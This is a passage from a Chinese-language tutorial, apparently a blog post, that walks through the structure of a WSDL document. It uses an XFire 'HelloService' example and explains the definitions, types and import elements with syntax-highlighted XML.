&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">&lt;/</span><span style="color: #800000;">xsd:element</span><span style="color: #0000ff;">&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">&lt;</span><span style="color: #800000;">xsd:element&nbsp;</span><span style="color: #ff0000;">name</span><span style="color: #0000ff;">="sayHelloResponse"</span><span style="color: #0000ff;">&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">&lt;</span><span style="color: #800000;">xsd:complexType</span><span style="color: #0000ff;">&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">&lt;</span><span style="color: #800000;">xsd:sequence</span><span style="color: #0000ff;">&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">&lt;</span><span style="color: #800000;">xsd:element&nbsp;</span><span style="color: #ff0000;">maxOccurs</span><span style="color: #0000ff;">="1"</span><span style="color: #ff0000;">&nbsp;minOccurs</span><span style="color: #0000ff;">="1"</span><span style="color: #ff0000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;name</span><span style="color: #0000ff;">="out"</span><span style="color: #ff0000;">&nbsp;nillable</span><span style="color: #0000ff;">="true"</span><span style="color: #ff0000;">&nbsp;type</span><span style="color: #0000ff;">="xsd:string"</span><span style="color: #ff0000;">&nbsp;</span><span style="color: #0000ff;">/&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">&lt;/</span><span style="color: #800000;">xsd:sequence</span><span style="color: #0000ff;">&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">&lt;/</span><span style="color: #800000;">xsd:complexType</span><span style="color: #0000ff;">&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">&lt;/</span><span style="color: #800000;">xsd:element</span><span style="color: #0000ff;">&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">&lt;/</span><span style="color: #800000;">xsd:schema</span><span style="color: #0000ff;">&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">&lt;/</span><span style="color: #800000;">wsdl:types</span><span style="color: #0000ff;">&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">&lt;</span><span style="color: #800000;">wsdl:message&nbsp;</span><span style="color: #ff0000;">name</span><span style="color: #0000ff;">="sayHelloResponse"</span><span style="color: #0000ff;">&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">&lt;</span><span style="color: #800000;">wsdl:part&nbsp;</span><span style="color: #ff0000;">name</span><span style="color: #0000ff;">="parameters"</span><span style="color: #ff0000;">&nbsp;element</span><span style="color: #0000ff;">="tns:sayHelloResponse"</span><span style="color: #ff0000;">&nbsp;</span><span style="color: #0000ff;">/&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">&lt;/</span><span style="color: #800000;">wsdl:message</span><span style="color: #0000ff;">&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">&lt;</span><span style="color: #800000;">wsdl:message&nbsp;</span><span style="color: #ff0000;">name</span><span style="color: #0000ff;">="sayHelloRequest"</span><span style="color: #0000ff;">&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">&lt;</span><span style="color: #800000;">wsdl:part&nbsp;</span><span style="color: #ff0000;">name</span><span style="color: #0000ff;">="parameters"</span><span style="color: #ff0000;">&nbsp;element</span><span style="color: #0000ff;">="tns:sayHello"</span><span style="color: #ff0000;">&nbsp;</span><span style="color: #0000ff;">/&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">&lt;/</span><span style="color: #800000;">wsdl:message</span><span style="color: #0000ff;">&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">&lt;</span><span style="color: #800000;">wsdl:portType&nbsp;</span><span style="color: #ff0000;">name</span><span style="color: #0000ff;">="HelloServicePortType"</span><span style="color: #0000ff;">&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">&lt;</span><span style="color: #800000;">wsdl:operation&nbsp;</span><span style="color: #ff0000;">name</span><span style="color: #0000ff;">="sayHello"</span><span style="color: #0000ff;">&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">&lt;</span><span style="color: #800000;">wsdl:input&nbsp;</span><span style="color: #ff0000;">name</span><span style="color: #0000ff;">="sayHelloRequest"</span><span style="color: #ff0000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;message</span><span style="color: #0000ff;">="tns:sayHelloRequest"</span><span style="color: #ff0000;">&nbsp;</span><span style="color: #0000ff;">/&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">&lt;</span><span style="color: #800000;">wsdl:output&nbsp;</span><span style="color: #ff0000;">name</span><span style="color: #0000ff;">="sayHelloResponse"</span><span style="color: #ff0000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;message</span><span style="color: #0000ff;">="tns:sayHelloResponse"</span><span style="color: #ff0000;">&nbsp;</span><span style="color: #0000ff;">/&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">&lt;/</span><span style="color: #800000;">wsdl:operation</span><span style="color: #0000ff;">&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">&lt;/</span><span style="color: #800000;">wsdl:portType</span><span style="color: #0000ff;">&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">&lt;</span><span style="color: #800000;">wsdl:binding&nbsp;</span><span style="color: #ff0000;">name</span><span style="color: #0000ff;">="HelloServiceHttpBinding"</span><span style="color: #ff0000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;type</span><span style="color: #0000ff;">="tns:HelloServicePortType"</span><span style="color: #0000ff;">&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">&lt;</span><span style="color: #800000;">wsdlsoap:binding&nbsp;</span><span style="color: #ff0000;">style</span><span style="color: #0000ff;">="document"</span><span style="color: #ff0000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;transport</span><span style="color: #0000ff;">="<a href="http://schemas.xmlsoap.org/soap/http%22" target="_blank">http://schemas.xmlsoap.org/soap/http"</a></span><span style="color: #ff0000;">&nbsp;</span><span style="color: #0000ff;">/&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">&lt;</span><span style="color: #800000;">wsdl:operation&nbsp;</span><span style="color: #ff0000;">name</span><span style="color: #0000ff;">="sayHello"</span><span style="color: #0000ff;">&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">&lt;</span><span style="color: #800000;">wsdlsoap:operation&nbsp;</span><span style="color: #ff0000;">soapAction</span><span style="color: #0000ff;">=""</span><span style="color: #ff0000;">&nbsp;</span><span style="color: #0000ff;">/&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">&lt;</span><span style="color: #800000;">wsdl:input&nbsp;</span><span style="color: #ff0000;">name</span><span style="color: #0000ff;">="sayHelloRequest"</span><span style="color: #0000ff;">&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">&lt;</span><span style="color: #800000;">wsdlsoap:body&nbsp;</span><span style="color: #ff0000;">use</span><span style="color: #0000ff;">="literal"</span><span style="color: #ff0000;">&nbsp;</span><span style="color: #0000ff;">/&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">&lt;/</span><span style="color: #800000;">wsdl:input</span><span style="color: #0000ff;">&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">&lt;</span><span style="color: #800000;">wsdl:output&nbsp;</span><span style="color: #ff0000;">name</span><span style="color: #0000ff;">="sayHelloResponse"</span><span style="color: #0000ff;">&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">&lt;</span><span style="color: #800000;">wsdlsoap:body&nbsp;</span><span style="color: #ff0000;">use</span><span style="color: #0000ff;">="literal"</span><span style="color: #ff0000;">&nbsp;</span><span style="color: #0000ff;">/&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">&lt;/</span><span style="color: #800000;">wsdl:output</span><span style="color: #0000ff;">&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">&lt;/</span><span style="color: #800000;">wsdl:operation</span><span style="color: #0000ff;">&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">&lt;/</span><span style="color: #800000;">wsdl:binding</span><span style="color: #0000ff;">&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">&lt;</span><span style="color: #800000;">wsdl:service&nbsp;</span><span style="color: #ff0000;">name</span><span style="color: #0000ff;">="HelloService"</span><span style="color: #0000ff;">&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">&lt;</span><span style="color: #800000;">wsdl:port&nbsp;</span><span style="color: #ff0000;">name</span><span style="color: #0000ff;">="HelloServiceHttpPort"</span><span style="color: #ff0000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;binding</span><span style="color: #0000ff;">="tns:HelloServiceHttpBinding"</span><span style="color: #0000ff;">&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">&lt;</span><span style="color: #800000;">wsdlsoap:address<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #ff0000;">location</span><span style="color: #0000ff;">="<a href="http://localhost:8080/xfire/services/HelloService%22" target="_blank">http://localhost:8080/xfire/services/HelloService"</a></span><span style="color: #ff0000;">&nbsp;</span><span style="color: #0000ff;">/&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">&lt;/</span><span style="color: #800000;">wsdl:port</span><span style="color: #0000ff;">&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">&lt;/</span><span style="color: #800000;">wsdl:service</span><span style="color: #0000ff;">&gt;</span><span style="color: #000000;"><br />
</span><span style="color: #0000ff;">&lt;/</span><span style="color: #800000;">wsdl:definitions</span><span style="color: #0000ff;">&gt;</span></div>
</div>
<p>&#9830; types元素使用XML模式语言声明在WSDL文档中的其他位置使用的复杂数据类型与元素；</p>
<p>&#9830; import元素类似于XML模式文档中的import元素，用于从其他WSDL文档中导入WSDL定义；</p>
<p>&#9830; message元素使用在WSDL文档的type元素中定义或在import元素引用的外部WSDL文档中定义的XML模式的内置类型、复杂类型或元素描述了消息的有效负载；</p>
<p>&#9830;&nbsp;portType元素和operation元素描述了Web服务的接口并定义了他的方法。portType元素和operation元素类似于
java接口和接口中定义的方法声明。operation元素使用一个或者多个message类型来定义他的输入和输出的有效负载；</p>
<p>&#9830; Binding元素将portType元素和operation元素赋给一个特殊的协议和编码样式；</p>
<p>&#9830; service元素负责将Internet地址赋给一个具体的绑定；</p>
<p>1、definitions元素</p>
<p>所有的WSDL文档的根元素均是definitions元素。该元素封装了整个文档，同时通过其name提供了一个WSDL文档。除了提供一个命名空间外，该元素没有其他作用，故不作详细描述。</p>
<p>下面的代码是一个definitions元素的结构：</p>
<div style="border: 0.5pt solid windowtext; padding: 4px 5.4pt; background: #e6e6e6 none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial; width: 95%;">
<div><span style="color: #0000ff;">&lt;</span><span style="color: #800000;">wsdl:definitions<br />
&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #ff0000;">targetNamespace</span><span style="color: #0000ff;">="<a href="http://com.liuxiang.xfiredemo/HelloService%22" target="_blank">http://com.liuxiang.xfireDemo/HelloService"</a></span><span style="color: #ff0000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;xmlns:tns</span><span style="color: #0000ff;">="<a href="http://com.liuxiang.xfiredemo/HelloService%22" target="_blank">http://com.liuxiang.xfireDemo/HelloService"</a></span><span style="color: #ff0000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;xmlns:wsdlsoap</span><span style="color: #0000ff;">="<a href="http://schemas.xmlsoap.org/wsdl/soap/%22" target="_blank">http://schemas.xmlsoap.org/wsdl/soap/"</a></span><span style="color: #ff0000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;xmlns:soap12</span><span style="color: #0000ff;">="<a href="http://www.w3.org/2003/05/soap-envelope%22" target="_blank">http://www.w3.org/2003/05/soap-envelope"</a></span><span style="color: #ff0000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;xmlns:xsd</span><span style="color: #0000ff;">="<a href="http://www.w3.org/2001/XMLSchema%22" target="_blank">http://www.w3.org/2001/XMLSchema"</a></span><span style="color: #ff0000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;xmlns:soapenc11</span><span style="color: #0000ff;">="<a href="http://schemas.xmlsoap.org/soap/encoding/%22" target="_blank">http://schemas.xmlsoap.org/soap/encoding/"</a></span><span style="color: #ff0000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;xmlns:soapenc12</span><span style="color: #0000ff;">="<a href="http://www.w3.org/2003/05/soap-encoding%22" target="_blank">http://www.w3.org/2003/05/soap-encoding"</a></span><span style="color: #ff0000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;xmlns:soap11</span><span style="color: #0000ff;">="<a href="http://schemas.xmlsoap.org/soap/envelope/%22" target="_blank">http://schemas.xmlsoap.org/soap/envelope/"</a></span><span style="color: #ff0000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;xmlns:wsdl</span><span style="color: #0000ff;">="<a href="http://schemas.xmlsoap.org/wsdl/%22" target="_blank">http://schemas.xmlsoap.org/wsdl/"</a></span><span style="color: #0000ff;">&gt;</span><span style="color: #000000;"><br />
</span><span style="color: #0000ff;">&lt;/</span><span style="color: #800000;">wsdl:definitions</span><span style="color: #0000ff;">&gt;</span></div>
</div>
<p>2、types元素</p>
<p>&nbsp;WSDL采用了W3C
XML模式内置类型作为其基本类型系统。types元素用作一个容器，用于定义XML模式内置类型中没有描述的各种数据类型。当声明消息部分的有效负载
时，消息定义使用了在types元素中定义的数据类型和元素。在本文的WSDL文档中的types定义：</p>
<p>&nbsp;</p>
<div style="border: 0.5pt solid windowtext; padding: 4px 5.4pt; background: #e6e6e6 none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial; width: 95%;">
<div><span style="color: #0000ff;">&lt;</span><span style="color: #800000;">wsdl:types</span><span style="color: #0000ff;">&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">&lt;</span><span style="color: #800000;">xsd:schema&nbsp;</span><span style="color: #ff0000;">xmlns:xsd</span><span style="color: #0000ff;">="<a href="http://www.w3.org/2001/XMLSchema%22" target="_blank">http://www.w3.org/2001/XMLSchema"</a></span><span style="color: #ff0000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;attributeFormDefault</span><span style="color: #0000ff;">="qualified"</span><span style="color: #ff0000;">&nbsp;elementFormDefault</span><span style="color: #0000ff;">="qualified"</span><span style="color: #ff0000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;targetNamespace</span><span style="color: #0000ff;">="<a href="http://com.liuxiang.xfiredemo/HelloService%22" target="_blank">http://com.liuxiang.xfireDemo/HelloService"</a></span><span style="color: #0000ff;">&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">&lt;</span><span style="color: #800000;">xsd:element&nbsp;</span><span style="color: #ff0000;">name</span><span style="color: #0000ff;">="sayHello"</span><span style="color: #0000ff;">&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">&lt;</span><span style="color: #800000;">xsd:complexType</span><span style="color: #0000ff;">&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">&lt;</span><span style="color: #800000;">xsd:sequence</span><span style="color: #0000ff;">&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">&lt;</span><span style="color: #800000;">xsd:element&nbsp;</span><span style="color: #ff0000;">maxOccurs</span><span style="color: #0000ff;">="1"</span><span style="color: #ff0000;">&nbsp;minOccurs</span><span style="color: #0000ff;">="1"</span><span style="color: #ff0000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;name</span><span style="color: #0000ff;">="name"</span><span style="color: #ff0000;">&nbsp;nillable</span><span style="color: #0000ff;">="true"</span><span style="color: #ff0000;">&nbsp;type</span><span style="color: #0000ff;">="xsd:string"</span><span style="color: #ff0000;">&nbsp;</span><span style="color: #0000ff;">/&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">&lt;/</span><span style="color: #800000;">xsd:sequence</span><span style="color: #0000ff;">&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">&lt;/</span><span style="color: #800000;">xsd:complexType</span><span style="color: #0000ff;">&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">&lt;/</span><span style="color: #800000;">xsd:element</span><span style="color: #0000ff;">&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">&lt;</span><span style="color: #800000;">xsd:element&nbsp;</span><span style="color: #ff0000;">name</span><span style="color: #0000ff;">="sayHelloResponse"</span><span style="color: #0000ff;">&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">&lt;</span><span style="color: #800000;">xsd:complexType</span><span style="color: #0000ff;">&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">&lt;</span><span style="color: #800000;">xsd:sequence</span><span style="color: #0000ff;">&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">&lt;</span><span style="color: #800000;">xsd:element&nbsp;</span><span style="color: #ff0000;">maxOccurs</span><span style="color: #0000ff;">="1"</span><span style="color: #ff0000;">&nbsp;minOccurs</span><span style="color: #0000ff;">="1"</span><span style="color: #ff0000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;name</span><span style="color: #0000ff;">="out"</span><span style="color: #ff0000;">&nbsp;nillable</span><span style="color: #0000ff;">="true"</span><span style="color: #ff0000;">&nbsp;type</span><span style="color: #0000ff;">="xsd:string"</span><span style="color: #ff0000;">&nbsp;</span><span style="color: #0000ff;">/&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">&lt;/</span><span style="color: #800000;">xsd:sequence</span><span style="color: #0000ff;">&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">&lt;/</span><span style="color: #800000;">xsd:complexType</span><span style="color: #0000ff;">&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">&lt;/</span><span style="color: #800000;">xsd:element</span><span style="color: #0000ff;">&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">&lt;/</span><span style="color: #800000;">xsd:schema</span><span style="color: #0000ff;">&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">&lt;/</span><span style="color: #800000;">wsdl:types</span><span style="color: #0000ff;">&gt;</span></div>
</div>
<p>上面是数据定义部分，该部分定义了两个元素，一个是sayHello，一个是sayHelloResponse：</p>
<p>sayHello：定义了一个复杂类型，仅仅包含一个简单的字符串，将来用来描述操作的参入传入部分；</p>
<p>sayHelloResponse：定义了一个复杂类型，仅仅包含一个简单的字符串，将来用来描述操作的返回值；</p>
<p>3、import元素</p>
<p>import元素使得可以在当前的WSDL文档中使用其他WSDL文档中指定的命名空间中的定义元素。本例子中没有使用import元素。通常在用户希望模块化WSDL文档的时候，该功能是非常有效果的。</p>
<p>import的格式如下：</p>
<div style="border: 0.5pt solid windowtext; padding: 4px 5.4pt; background: #e6e6e6 none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial; width: 95%;">
<div><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/None.gif" align="top" /><span style="color: #0000ff;">&lt;</span><span style="color: #800000;">wsdl:import&nbsp;</span><span style="color: #ff0000;">namespace</span><span style="color: #0000ff;">="<a href="http://xxx.xxx.xxx/xxx/xxx%22" target="_blank">http://xxx.xxx.xxx/xxx/xxx"</a></span><span style="color: #ff0000;">&nbsp;location</span><span style="color: #0000ff;">="<a href="http://xxx.xxx.xxx/xxx/xxx.wsdl%22" target="_blank">http://xxx.xxx.xxx/xxx/xxx.wsdl"</a></span><span style="color: #0000ff;">/&gt;</span></div>
</div>
<p>必须有namespace属性和location属性：</p>
<p>namespace属性：值必须与正导入的WSDL文档中声明的targetNamespace相匹配；</p>
<p>location属性：必须指向一个实际的WSDL文档，并且该文档不能为空。</p>
<p>4、message元素</p>
